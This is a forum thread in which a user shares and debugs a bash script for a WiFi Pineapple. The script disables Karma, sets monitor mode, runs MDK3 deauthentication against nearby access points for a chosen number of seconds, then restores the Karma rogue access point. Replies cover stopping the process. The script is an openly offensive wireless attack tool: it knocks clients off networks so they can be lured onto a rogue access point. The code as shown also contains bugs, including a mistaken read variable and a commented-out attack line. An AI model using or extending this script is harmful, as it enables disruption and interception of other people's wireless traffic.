Foxtrot Posted February 22, 2013 Share Posted February 22, 2013 Hey guys! I am currently making a script for the Pineapple that does this : -Asks you for a time to deauth for -Disables karma -Puts wlan0 into RFMON (Monitor Mode) -Starts MDK3 Deauthing for x amount of seconds inputted at the beginning -After x amount of seconds, Stops MDK3 -Removes mon0 -Starts karma again So the problem is that when MDK3 Starts, I cannot get it to stop after the user inputted time to run. Please help me Hak5! You're my only hope! Code : #!/bin/bash #Run this script by ./mdkarma.sh #Made by Foxtrot #Set time to deauth for in seconds : echo -n "Set time to deauth for in seconds : "; read $deauth echo "Will deauth for $deauth seconds" echo " " #Stop Karma echo "Killing Karma!" hostapd_cli -p /var/run/hostapd-phy0 karma_disable > /dev/null #Put wlan0 into monitor mode echo "Putting wlan0 into monitor mode!" airmon-ng start wlan0 > /dev/null echo " " #Start deauthing with MDK3 and stop after $deauth echo "Deauthing Access Points with MDK3!" #mdk3 mon0 d > /dev/null sleep $deauth killall mdk3 echo " " #Kill airmon-ng and start Karma again. echo "Removing mon0 and enabling karma!" airmon-ng stop mon0 > /dev/null hostapd_cli -p /var/run/hostapd-phy0 karma_enable > /dev/null -Foxtrot Quote Link to comment Share on other sites More sharing options...
airman_dopey Posted February 22, 2013 Share Posted February 22, 2013 I'm assuming killall does not return an error but just fails to kill it? Have you tried a kill -9? Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted February 22, 2013 Author Share Posted February 22, 2013 I'm assuming killall does not return an error but just fails to kill it? Have you tried a kill -9? It just stops when MDK3 starts, Will try kill -9 now :) -Foxtrot Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted February 22, 2013 Author Share Posted February 22, 2013 *Facepalm* I was using pipes instead of & :o Thanks for your help though:) -Foxtrot Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.